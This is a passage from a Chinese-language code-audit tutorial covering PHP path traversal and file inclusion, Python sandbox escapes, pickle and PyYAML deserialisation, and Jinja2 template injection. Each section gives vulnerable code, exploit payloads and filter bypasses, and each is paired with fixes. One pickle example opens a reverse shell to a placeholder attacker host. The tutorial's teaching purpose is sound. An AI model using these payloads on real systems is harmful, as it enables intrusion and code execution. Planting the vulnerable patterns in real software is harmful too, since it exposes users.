\u8def\u5f84\u7a7f\u8d8a\u6f0f\u6d1e\u5ba1\u8ba1<\/h3>\n<p>\u8def\u5f84\u7a7f\u8d8a&#xff08;Path Traversal&#xff09;\u5141\u8bb8\u653b\u51fb\u8005\u901a\u8fc7 ..\/ \u5e8f\u5217\u8bbf\u95ee\u9884\u671f\u76ee\u5f55\u5916\u7684\u6587\u4ef6\u3002<br \/>\nPHP \u4e2d\u5e38\u89c1\u4e8e\u6587\u4ef6\u8bfb\u53d6\u3001\u6587\u4ef6\u5305\u542b\u3001\u6587\u4ef6\u5220\u9664\u7b49\u573a\u666f\u3002<\/p>\n<p>\u6f0f\u6d1e\u4ee3\u7801\u793a\u4f8b&#xff1a;<\/p>\n<p>&#096;&#096;&#096;php<br \/>\n&lt;?php<br \/>\n\/\/ \u3010\u6f0f\u6d1e\u3011\u672a\u8fc7\u6ee4 ..\/ \u76f4\u63a5\u62fc\u63a5\u6587\u4ef6\u8def\u5f84<br \/>\n$file &#061; $_GET[&#039;file&#039;];<br \/>\n$path &#061; &#034;\/var\/www\/uploads\/&#034; . $file;<br \/>\n\/\/ \u653b\u51fb\u8005\u4f20\u5165 ?file&#061;..\/..\/..\/..\/etc\/passwd<br \/>\necho file_get_contents($path);<br \/>\n?&gt;<br \/>\n&#096;&#096;&#096;<\/p>\n<p>\u5ba1\u8ba1\u8981\u70b9&#xff08;\u641c\u7d22\u6587\u4ef6\u64cd\u4f5c\u51fd\u6570&#xff09;&#xff1a;<\/p>\n<p>&#096;&#096;&#096;<br \/>\nfile_get_contents( \u00a0 file_put_contents( \u00a0 fopen( \u00a0 \u00a0readfile(<br \/>\ninclude( \u00a0require( \u00a0include_once( \u00a0require_once(<br \/>\nunlink( \u00a0 copy( \u00a0move_uploaded_file( \u00a0file_exists(<br \/>\n&#096;&#096;&#096;<\/p>\n<p>PoC \u4e0e\u7ed5\u8fc7\u6280\u5de7&#xff1a;<\/p>\n<p>&#096;&#096;&#096;<br \/>\n# \u57fa\u7840\u7a7f\u8d8a<br \/>\n?file&#061;..\/..\/..\/..\/etc\/passwd<\/p>\n<p># \u7f16\u7801\u7ed5\u8fc7&#xff08;\u5f53\u5b58\u5728\u7b80\u5355\u8fc7\u6ee4\u65f6&#xff09;<br \/>\n?file&#061;..%2f..%2f..%2fetc%2fpasswd \u00a0 \u00a0 \u00a0 \u00a0# URL\u7f16\u7801<br \/>\n?file&#061;&#8230;.\/\/&#8230;.\/\/etc\/passwd \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0# \u53cc\u5199\u7ed5\u8fc7\u5355\u6b21\u66ff\u6362<br \/>\n?file&#061;..%252f..%252fetc%252fpasswd \u00a0 \u00a0 \u00a0 \u00a0# \u4e8c\u6b21URL\u7f16\u7801<br \/>\n?file&#061;php:\/\/filter\/convert.base64-encode\/resource&#061;config.php \u00a0# \u4f2a\u534f\u8bae<br \/>\n&#096;&#096;&#096;<\/p>\n<p>\u5b89\u5168\u4fee\u590d&#xff1a;<\/p>\n<p>&#096;&#096;&#096;php<br \/>\n&lt;?php<br \/>\n$file &#061; $_GET[&#039;file&#039;];<br \/>\n$path &#061; realpath(&#034;\/var\/www\/uploads\/&#034; . $file);<\/p>\n<p>\/\/ \u65b9\u6848 1&#xff1a;realpath \u6821\u9a8c &#043; \u76ee\u5f55\u524d\u7f00\u68c0\u67e5<br \/>\n$base &#061; realpath(&#034;\/var\/www\/uploads\/&#034;);<br \/>\nif ($path &#061;&#061;&#061; false || strpos($path, $base) !&#061;&#061; 0) {<br \/>\n\u00a0 \u00a0 die(&#039;\u975e\u6cd5\u8def\u5f84&#039;);<br \/>\n}<br \/>\necho file_get_contents($path);<\/p>\n<p>\/\/ \u65b9\u6848 2&#xff1a;basename \u53d6\u6587\u4ef6\u540d&#xff08;\u53bb\u6389\u76ee\u5f55\u90e8\u5206&#xff09;<br \/>\n$safeName &#061; basename($file);<br \/>\necho file_get_contents(&#034;\/var\/www\/uploads\/&#034; . $safeName);<br \/>\n?&gt;<br \/>\n&#096;&#096;&#096;<\/p>\n<p>\u3010\u63d0\u793a\u3011realpath \u4f1a\u89e3\u6790\u7b26\u53f7\u94fe\u63a5&#xff0c;\u662f\u9632\u5fa1\u8def\u5f84\u7a7f\u8d8a\u6700\u53ef\u9760\u7684\u65b9\u6cd5\u4e4b\u4e00&#xff0c;\u4f46<br \/>\n\u9700\u6ce8\u610f\u5176\u8fd4\u56de false \u7684\u60c5\u51b5&#xff08;\u6587\u4ef6\u4e0d\u5b58\u5728&#xff09;\u3002<\/p>\n<h3>4.4 \u4efb\u610f\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e\u5ba1\u8ba1<\/h3>\n<p>PHP \u7684 include\/require \u53ef\u52a8\u6001\u5305\u542b\u6587\u4ef6&#xff0c;\u82e5\u53c2\u6570\u7528\u6237\u53ef\u63a7&#xff0c;\u53ef\u5bfc\u81f4&#xff1a;<br \/>\n&#8211; \u8bfb\u53d6\u4efb\u610f PHP \u6587\u4ef6\u6e90\u7801&#xff08;\u914d\u5408 php:\/\/filter&#xff09;<br \/>\n&#8211; \u6267\u884c\u4efb\u610f\u4ee3\u7801&#xff08;\u914d\u5408\u8fdc\u7a0b\u5305\u542b\u6216\u65e5\u5fd7\/Session \u6587\u4ef6\u5305\u542b&#xff09;<\/p>\n<p>\u6f0f\u6d1e\u4ee3\u7801\u793a\u4f8b&#xff1a;<\/p>\n<p>&#096;&#096;&#096;php<br \/>\n&lt;?php<br \/>\n\/\/ \u3010\u6f0f\u6d1e\u3011\u52a8\u6001\u5305\u542b\u7528\u6237\u53ef\u63a7\u6587\u4ef6<br \/>\n$page &#061; $_GET[&#039;page&#039;];<br \/>\ninclude(&#034;\/var\/www\/pages\/&#034; . $page . &#034;.php&#034;);<br \/>\n\/\/ PoC: ?page&#061;..\/..\/..\/..\/etc\/passwd%00 \u00a0(PHP&lt;5.3.4 \u622a\u65ad)<br \/>\n\/\/ PoC: ?page&#061;php:\/\/filter\/convert.base64-encode\/resource&#061;..\/config<br \/>\n?&gt;<br \/>\n&#096;&#096;&#096;<\/p>\n<p>PHP \u4f2a\u534f\u8bae\u5229\u7528\u6c47\u603b&#xff1a;<\/p>\n<p>| \u4f2a\u534f\u8bae \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0| \u4f5c\u7528 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0| \u5229\u7528\u6761\u4ef6 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 |<br \/>\n|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;|<br \/>\n| php:\/\/filter \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0| \u8bfb\u53d6\u6587\u4ef6\u6e90\u7801&#xff08;base64\u7f16\u7801&#xff09; \u00a0 \u00a0 | \u65e0\u7279\u6b8a\u6761\u4ef6 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 |<br \/>\n| php:\/\/input \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | \u8bfb\u53d6 POST \u539f\u59cb\u6570\u636e \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0| allow_url_include&#061;On \u00a0 \u00a0|<br \/>\n| data:\/\/ \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | \u5185\u8054\u6570\u636e\u6267\u884c \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0| allow_url_include&#061;On \u00a0 \u00a0|<br \/>\n| phar:\/\/ \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | \u89e6\u53d1 phar \u53cd\u5e8f\u5217\u5316 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0| PHP &gt;&#061; 5.3 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0|<br \/>\n| zip:\/\/ \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0| \u538b\u7f29\u5305\u5185\u6587\u4ef6\u5305\u542b \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0| PHP &gt;&#061; 5.3 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0|<br \/>\n| expect:\/\/ \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | \u547d\u4ee4\u6267\u884c \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0| \u9700\u5b89\u88c5 expect \u6269\u5c55 \u00a0 \u00a0 \u00a0 |<\/p>\n<p>\u5ba1\u8ba1\u8981\u70b9&#xff1a;<br \/>\n&#8211; \u641c\u7d22 include(\u3001require(\u3001include_once(\u3001require_once(<br \/>\n&#8211; \u68c0\u67e5\u53c2\u6570\u662f\u5426\u6765\u81ea\u7528\u6237\u8f93\u5165<br \/>\n&#8211; \u68c0\u67e5\u662f\u5426\u5f00\u542f\u4e86 allow_url_include \/ allow_url_fopen<br \/>\n&#8211; \u5173\u6ce8 %00 \u622a\u65ad&#xff08;PHP &lt; 5.3.4&#xff09;\u548c\u8def\u5f84\u957f\u5ea6\u622a\u65ad&#xff08;Windows 240 \u5b57\u7b26&#xff09;<\/p>\n<p>\u5b89\u5168\u4fee\u590d&#xff1a;<\/p>\n<p>&#096;&#096;&#096;php<br \/>\n&lt;?php<br \/>\n\/\/ \u767d\u540d\u5355\u65b9\u5f0f&#xff0c;\u6700\u5b89\u5168<br \/>\n$allowedPages &#061; [&#039;index&#039;, &#039;about&#039;, &#039;contact&#039;];<br \/>\n$page &#061; $_GET[&#039;page&#039;];<br \/>\nif (!in_array($page, $allowedPages, true)) {<br \/>\n\u00a0 \u00a0 $page &#061; &#039;index&#039;;<br \/>\n}<br \/>\ninclude(&#034;\/var\/www\/pages\/&#034; . $page . &#034;.php&#034;);<br \/>\n?&gt;<br \/>\n&#096;&#096;&#096;<\/p>\n<h2>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>\n\u4e94\u3001Python \u4ee3\u7801\u5ba1\u8ba1\u5b9e\u6218<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<\/h2>\n<p>Python \u56e0\u5176\u7b80\u6d01\u8bed\u6cd5\u548c\u5f3a\u5927\u52a8\u6001\u7279\u6027&#xff0c;\u5728 Web \u5f00\u53d1\u4e0e AI \u9886\u57df\u5e7f\u6cdb\u4f7f\u7528&#xff0c;\u5176<br \/>\n\u4ee3\u7801\u5ba1\u8ba1\u540c\u6837\u6709\u72ec\u7279\u7684\u5173\u6ce8\u70b9\u3002\u672c\u8282\u8bb2\u89e3\u4e09\u5927\u5178\u578b Python \u6f0f\u6d1e\u3002<\/p>\n<h3>5.1 \u6c99\u7bb1\u9003\u9038\u6280\u5de7<\/h3>\n<p>Python \u6c99\u7bb1&#xff08;Sandbox&#xff09;\u901a\u5e38\u901a\u8fc7\u5220\u9664\u5371\u9669\u51fd\u6570\u3001\u9650\u5236\u5185\u5efa\u6a21\u5757\u6765&#034;\u9694\u79bb&#034;\u4ee3\u7801<br \/>\n\u6267\u884c\u3002\u4f46 Python \u5f3a\u5927\u7684\u53cd\u5c04\u673a\u5236\u4f7f\u5f97\u6c99\u7bb1\u9003\u9038\u6210\u4e3a\u53ef\u80fd\u3002<\/p>\n<p>\u5e38\u89c1\u6c99\u7bb1\u9650\u5236\u65b9\u5f0f&#xff1a;<\/p>\n<p>&#096;&#096;&#096;python<br \/>\n# \u9650\u5236\u65b9\u5f0f 1&#xff1a;\u5220\u9664\u5371\u9669\u5185\u5efa\u51fd\u6570<br \/>\ndel __builtins__.__dict__[&#039;__import__&#039;]<br \/>\ndel __builtins__.__dict__[&#039;eval&#039;]<br \/>\ndel __builtins__.__dict__[&#039;exec&#039;]<\/p>\n<p># \u9650\u5236\u65b9\u5f0f 2&#xff1a;\u66ff\u6362\u5185\u5efa\u4e3a\u7a7a\u5b57\u5178<br \/>\n__builtins__ &#061; {}<\/p>\n<p># \u9650\u5236\u65b9\u5f0f 3&#xff1a;AST \u89e3\u6790\u9ed1\u540d\u5355&#xff08;\u7981\u6b62 Import\/Call \u7b49\u8282\u70b9&#xff09;<br \/>\n&#096;&#096;&#096;<\/p>\n<p>\u6c99\u7bb1\u9003\u9038\u6280\u5de7\u4e00&#xff1a;\u901a\u8fc7\u5b50\u7c7b\u94fe\u83b7\u53d6\u5371\u9669\u7c7b<\/p>\n<p>&#096;&#096;&#096;python<br \/>\n# \u5229\u7528 object.__subclasses__() \u627e\u5230\u53ef\u7528\u7c7b<br \/>\n# \u4f8b\u5982\u627e\u5230 warnings.catch_warnings&#xff0c;\u5176\u5185\u90e8\u5f15\u7528\u4e86 linecache&#xff0c;<br \/>\n# linecache \u53c8\u5f15\u7528\u4e86 os \u6a21\u5757<\/p>\n<p>().__class__.__bases__[0].__subclasses__()<br \/>\n# \u904d\u5386\u5b50\u7c7b\u5217\u8868&#xff0c;\u627e\u5230\u5305\u542b os \u6a21\u5757\u7684\u7c7b<br \/>\nfor cls in ().__class__.__bases__[0].__subclasses__():<br \/>\n\u00a0 \u00a0 if &#039;catch_warnings&#039; in cls.__name__:<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 cls.__init__.__globals__[&#039;linecache&#039;].__dict__[&#039;os&#039;].system(&#039;id&#039;)<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 break<br \/>\n&#096;&#096;&#096;<\/p>\n<p>\u6c99\u7bb1\u9003\u9038\u6280\u5de7\u4e8c&#xff1a;\u901a\u8fc7\u5df2\u52a0\u8f7d\u6a21\u5757\u83b7\u53d6 os<\/p>\n<p>&#096;&#096;&#096;python<br \/>\n# \u4ece\u4efb\u610f\u5df2\u52a0\u8f7d\u6a21\u5757\u7684 __globals__ \u4e2d\u83b7\u53d6 os<br \/>\n[c for c in ().__class__.__base__.__subclasses__()<br \/>\n\u00a0if c.__name__ &#061;&#061; &#039;catch_warnings&#039;][0]()._module.__builtins__[&#039;__import__&#039;](&#039;os&#039;).system(&#039;whoami&#039;)<br \/>\n&#096;&#096;&#096;<\/p>\n<p>\u6c99\u7bb1\u9003\u9038\u6280\u5de7\u4e09&#xff1a;f-string \/ \u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u6cc4\u9732<\/p>\n<p>&#096;&#096;&#096;python<br \/>\n# Python \u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u53ef\u6cc4\u9732\u5bf9\u8c61\u5c5e\u6027<br \/>\nconfig &#061; {&#039;SECRET_KEY&#039;: &#039;s3cr3t&#039;}<br \/>\nuser_input &#061; &#039;{0.__class__.__init__.__globals__}&#039;<br \/>\n# \u5373\u4f7f config \u4e2d\u6ca1\u6709\u8be5\u952e&#xff0c;\u683c\u5f0f\u5316\u4ecd\u53ef\u80fd\u6cc4\u9732\u5185\u90e8\u4fe1\u606f<br \/>\nprint(user_input.format(config))<br \/>\n&#096;&#096;&#096;<\/p>\n<p>\u5ba1\u8ba1\u8981\u70b9&#xff1a;<br \/>\n&#8211; \u641c\u7d22 eval(\u3001exec(\u3001compile(\u3001__import__(<br \/>\n&#8211; \u68c0\u67e5\u6c99\u7bb1\u662f\u5426\u771f\u6b63\u9694\u79bb&#xff08;\u53cd\u5c04\u673a\u5236\u51e0\u4e4e\u603b\u80fd\u7ed5\u8fc7\u9ed1\u540d\u5355&#xff09;<br \/>\n&#8211; \u5173\u6ce8 pickle.loads\u3001yaml.load&#xff08;PyYAML&#xff09;\u7b49\u53ef\u6267\u884c\u4efb\u610f\u4ee3\u7801\u7684\u5165\u53e3<br \/>\n&#8211; \u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u5ba1\u8ba1&#xff1a;\u641c\u7d22 .format(\u3001f&#034;&#034;&#xff0c;\u68c0\u67e5\u7528\u6237\u662f\u5426\u53ef\u63a7<\/p>\n<p>\u3010\u8b66\u544a\u3011Python \u6c99\u7bb1\u6781\u96be\u505a\u5230\u771f\u6b63\u5b89\u5168\u3002\u5efa\u8bae\u4e0d\u8981\u4f9d\u8d56\u6c99\u7bb1\u9694\u79bb\u4e0d\u53ef\u4fe1\u4ee3\u7801&#xff0c;<br \/>\n\u5e94\u4f7f\u7528\u64cd\u4f5c\u7cfb\u7edf\u7ea7\u9694\u79bb&#xff08;\u5bb9\u5668\u3001seccomp\u3001\u72ec\u7acb\u865a\u62df\u673a&#xff09;\u3002<\/p>\n<h3>5.2 pickle \u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e<\/h3>\n<p>Python \u7684 pickle \u6a21\u5757\u5728\u53cd\u5e8f\u5217\u5316\u65f6\u53ef\u6267\u884c\u4efb\u610f\u4ee3\u7801\u3002\u82e5\u5e94\u7528\u53cd\u5e8f\u5217\u5316\u7528\u6237<br \/>\n\u53ef\u63a7\u6570\u636e&#xff0c;\u5c06\u5bfc\u81f4 RCE\u3002<\/p>\n<p>\u6f0f\u6d1e\u4ee3\u7801\u793a\u4f8b&#xff1a;<\/p>\n<p>&#096;&#096;&#096;python<br \/>\nimport pickle<br \/>\nfrom flask import Flask, request<\/p>\n<p>app &#061; Flask(__name__)<\/p>\n<p>&#064;app.route(&#039;\/load&#039;, methods&#061;[&#039;POST&#039;])<br \/>\ndef load_data():<br \/>\n\u00a0 \u00a0 # \u3010\u6f0f\u6d1e\u3011\u76f4\u63a5\u53cd\u5e8f\u5217\u5316\u7528\u6237\u63d0\u4ea4\u7684 pickle \u6570\u636e<br \/>\n\u00a0 \u00a0 data &#061; request.get_data()<br \/>\n\u00a0 \u00a0 obj &#061; pickle.loads(data)<br \/>\n\u00a0 \u00a0 return str(obj)<br \/>\n&#096;&#096;&#096;<\/p>\n<p>PoC \u6784\u9020&#xff08;\u5229\u7528 __reduce__ \u9b54\u672f\u65b9\u6cd5&#xff09;&#xff1a;<\/p>\n<p>&#096;&#096;&#096;python<br \/>\nimport pickle<br \/>\nimport os<\/p>\n<p>class Exploit:<br \/>\n\u00a0 \u00a0 def __reduce__(self):<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 # \u53cd\u5e8f\u5217\u5316\u65f6\u81ea\u52a8\u8c03\u7528 os.system(&#039;id&#039;)<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 return (os.system, (&#039;id&#039;,))<\/p>\n<p># \u751f\u6210\u6076\u610f pickle \u6570\u636e<br \/>\npayload &#061; pickle.dumps(Exploit())<br \/>\n# \u5c06 payload \u4f5c\u4e3a POST body \u53d1\u9001\u5230 \/load \u63a5\u53e3<br \/>\n&#096;&#096;&#096;<\/p>\n<p>\u8fdb\u9636\u5229\u7528&#xff08;\u53cd\u5f39 Shell&#xff09;&#xff1a;<\/p>\n<p>&#096;&#096;&#096;python<br \/>\nimport pickle, base64<\/p>\n<p>class Exploit:<br \/>\n\u00a0 \u00a0 def __reduce__(self):<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 return (eval, (<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 &#034;__import__(&#039;os&#039;).popen(&#039;bash -i &gt;&amp; \/dev\/tcp\/attacker\/4444 0&gt;&amp;1&#039;)&#034;,<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 ))<\/p>\n<p>payload &#061; base64.b64encode(pickle.dumps(Exploit())).decode()<br \/>\n&#096;&#096;&#096;<\/p>\n<p>\u5ba1\u8ba1\u8981\u70b9&#xff08;\u641c\u7d22\u53cd\u5e8f\u5217\u5316\u51fd\u6570&#xff09;&#xff1a;<\/p>\n<p>&#096;&#096;&#096;<br \/>\npickle.loads( \u00a0 \u00a0 \u00a0 \u00a0pickle.load( \u00a0 \u00a0 \u00a0 \u00a0 cPickle.loads(<br \/>\nyaml.load( \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 # PyYAML&#xff0c;\u4e0d\u52a0 Loader&#061;SafeLoader \u5373\u53ef\u6267\u884c\u4efb\u610f\u5bf9\u8c61<br \/>\nshelve.open( \u00a0 \u00a0 \u00a0 \u00a0 # \u5e95\u5c42\u4f7f\u7528 pickle<br \/>\njsonpickle.decode( \u00a0 # \u7b2c\u4e09\u65b9\u5e93&#xff0c;\u540c\u6837\u5371\u9669<br \/>\ndill.loads( \u00a0 \u00a0 \u00a0 \u00a0 \u00a0# pickle \u589e\u5f3a\u7248<br \/>\n&#096;&#096;&#096;<\/p>\n<p>PyYAML \u6f0f\u6d1e\u793a\u4f8b&#xff1a;<\/p>\n<p>&#096;&#096;&#096;python<br \/>\nimport yaml<\/p>\n<p># \u3010\u6f0f\u6d1e\u3011yaml.load \u9ed8\u8ba4\u4f7f\u7528 FullLoader \u4e4b\u524d\u7248\u672c\u53ef\u6267\u884c\u4efb\u610f Python \u5bf9\u8c61<br \/>\ndata &#061; yaml.load(user_input) \u00a0# \u5371\u9669<br \/>\n# \u5b89\u5168\u5199\u6cd5<br \/>\ndata &#061; yaml.safe_load(user_input) \u00a0# \u5b89\u5168<br \/>\n&#096;&#096;&#096;<\/p>\n<p>PyYAML RCE PoC&#xff1a;<\/p>\n<p>&#096;&#096;&#096;yaml<br \/>\n!!python\/object\/apply:os.system [&#034;id&#034;]<br \/>\n&#096;&#096;&#096;<\/p>\n<p>\u5b89\u5168\u4fee\u590d&#xff1a;<\/p>\n<p>&#096;&#096;&#096;python<br \/>\n# \u65b9\u6848 1&#xff1a;\u4f7f\u7528 JSON \u66ff\u4ee3 pickle&#xff08;\u9996\u9009&#xff09;<br \/>\nimport json<br \/>\nobj &#061; json.loads(data)<\/p>\n<p># \u65b9\u6848 2&#xff1a;\u5982\u5fc5\u987b\u7528 pickle&#xff0c;\u9650\u5236\u53ef\u53cd\u5e8f\u5217\u5316\u7684\u7c7b<br \/>\nimport pickle<br \/>\nimport io<\/p>\n<p>class RestrictedUnpickler(pickle.Unpickler):<br \/>\n\u00a0 \u00a0 ALLOWED_CLASSES &#061; {<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 (&#039;builtins&#039;, &#039;dict&#039;), (&#039;builtins&#039;, &#039;list&#039;), (&#039;builtins&#039;, &#039;str&#039;),<br \/>\n\u00a0 \u00a0 }<br \/>\n\u00a0 \u00a0 def find_class(self, module, name):<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 if (module, name) in self.ALLOWED_CLASSES:<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 return super().find_class(module, name)<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 raise pickle.UnpicklingError(f&#034;\u7981\u6b62\u53cd\u5e8f\u5217\u5316 {module}.{name}&#034;)<\/p>\n<p>def safe_loads(data):<br \/>\n\u00a0 \u00a0 return RestrictedUnpickler(io.BytesIO(data)).load()<\/p>\n<p># \u65b9\u6848 3&#xff1a;PyYAML \u4f7f\u7528 safe_load<br \/>\nyaml.safe_load(data)<br \/>\n&#096;&#096;&#096;<\/p>\n<h3>5.3 \u6a21\u677f\u6ce8\u5165&#xff08;SSTI \/ Jinja2&#xff09;\u5ba1\u8ba1<\/h3>\n<p>Flask \u5e38\u7528 Jinja2 \u6a21\u677f\u5f15\u64ce&#xff0c;\u82e5\u7528\u6237\u8f93\u5165\u88ab\u4f5c\u4e3a\u6a21\u677f\u6e32\u67d3&#xff0c;\u5bfc\u81f4 SSTI\u3002<\/p>\n<p>\u6f0f\u6d1e\u4ee3\u7801\u793a\u4f8b&#xff1a;<\/p>\n<p>&#096;&#096;&#096;python<br \/>\nfrom flask import Flask, request, render_template_string<\/p>\n<p>app &#061; Flask(__name__)<\/p>\n<p>&#064;app.route(&#039;\/greet&#039;)<br \/>\ndef greet():<br \/>\n\u00a0 \u00a0 name &#061; request.args.get(&#039;name&#039;, &#039;guest&#039;)<br \/>\n\u00a0 \u00a0 # \u3010\u6f0f\u6d1e\u3011\u7528\u6237\u8f93\u5165\u62fc\u5165\u6a21\u677f\u5b57\u7b26\u4e32<br \/>\n\u00a0 \u00a0 template &#061; &#039;&lt;h1&gt;Hello &#039; &#043; name &#043; &#039;&lt;\/h1&gt;&#039;<br \/>\n\u00a0 \u00a0 return render_template_string(template)<br \/>\n\u00a0 \u00a0 # PoC: \/greet?name&#061;{{7*7}} \u00a0-&gt; \u00a0\u8fd4\u56de Hello 49<br \/>\n&#096;&#096;&#096;<\/p>\n<p>Jinja2 SSTI RCE \u5229\u7528\u94fe&#xff1a;<\/p>\n<p>&#096;&#096;&#096;<br \/>\n# 1. \u63a2\u6d4b<br \/>\n{{7*7}} \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0# \u8fd4\u56de 49 \u786e\u8ba4 SSTI<\/p>\n<p># 2. \u83b7\u53d6\u6240\u6709\u5b50\u7c7b&#xff08;\u627e\u53ef\u5229\u7528\u7c7b&#xff09;<br \/>\n{{&#039;&#039;.__class__.__mro__[1].__subclasses__()}}<\/p>\n<p># 3. \u5229\u7528 Popen \u6267\u884c\u547d\u4ee4<br \/>\n{{&#039;&#039;.__class__.__mro__[1].__subclasses__()[X](&#039;id&#039;,shell&#061;True,stdout&#061;-1).communicate()[0]}}<br \/>\n# \u5176\u4e2d X \u4e3a subprocess.Popen \u5728\u5b50\u7c7b\u5217\u8868\u4e2d\u7684\u7d22\u5f15<\/p>\n<p># 4. \u901a\u7528 RCE&#xff08;\u901a\u8fc7 builtins&#xff09;<br \/>\n{{cycler.__init__.__globals__.os.popen(&#039;id&#039;).read()}}<\/p>\n<p># 5. \u8bfb\u53d6\u6587\u4ef6<br \/>\n{{().__class__.__bases__[0].__subclasses__()[X](&#039;\/etc\/passwd&#039;).read()}}<\/p>\n<p># 6. \u7ed5\u8fc7\u8fc7\u6ee4&#xff08;\u4e0b\u5212\u7ebf\u88ab\u8fc7\u6ee4\u65f6&#xff09;<br \/>\n{{()|attr(&#039;\\\\x5f\\\\x5fclass\\\\x5f\\\\x5f&#039;)}}<br \/>\n{{request|attr(&#039;application&#039;)|attr(&#039;\\\\x5f\\\\x5fglobals\\\\x5f\\\\x5f&#039;)}}<br \/>\n&#096;&#096;&#096;<\/p>\n<p>\u5e38\u89c1\u8fc7\u6ee4\u7ed5\u8fc7\u6280\u5de7\u6c47\u603b&#xff1a;<\/p>\n<p>| \u8fc7\u6ee4\u5185\u5bb9 \u00a0 \u00a0 | \u7ed5\u8fc7\u65b9\u5f0f \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 |<br \/>\n|&#8212;&#8212;&#8212;&#8212;&#8211;|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;|<br \/>\n| {{ }} \u00a0 \u00a0 \u00a0 \u00a0| {% if &#8230; %}{% endif %} \u6216 {%%} \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0|<br \/>\n| \u4e0b\u5212\u7ebf _ \u00a0 \u00a0 | \\\\x5f \u7f16\u7801\u3001attr() \u51fd\u6570\u3001|attr \u8fc7\u6ee4\u5668 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 |<br \/>\n| \u70b9\u53f7 . \u00a0 \u00a0 \u00a0 | [&#039;xxx&#039;] \u4e2d\u62ec\u53f7\u8bbf\u95ee\u3001|attr \u8fc7\u6ee4\u5668 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 |<br \/>\n| \u5173\u952e\u5b57 class | \\\\x5f\\\\x5fclass\\\\x5f\\\\x5f \u6216 request \u5bf9\u8c61\u56de\u6eaf \u00a0 \u00a0 \u00a0|<br \/>\n| \u5f15\u53f7 \u00a0 \u00a0 \u00a0 \u00a0 | request.args.param \u4ece\u8bf7\u6c42\u53c2\u6570\u53d6\u5b57\u7b26\u4e32 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0|<br \/>\n| \u6570\u5b57 \u00a0 \u00a0 \u00a0 \u00a0 | (dict|length) \u7b49\u8868\u8fbe\u5f0f\u751f\u6210\u6570\u5b57 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 |<\/p>\n<p>\u5ba1\u8ba1\u8981\u70b9&#xff1a;<br \/>\n&#8211; \u641c\u7d22 render_template_string(\u3001Template(\u3001from_string(<br \/>\n&#8211; 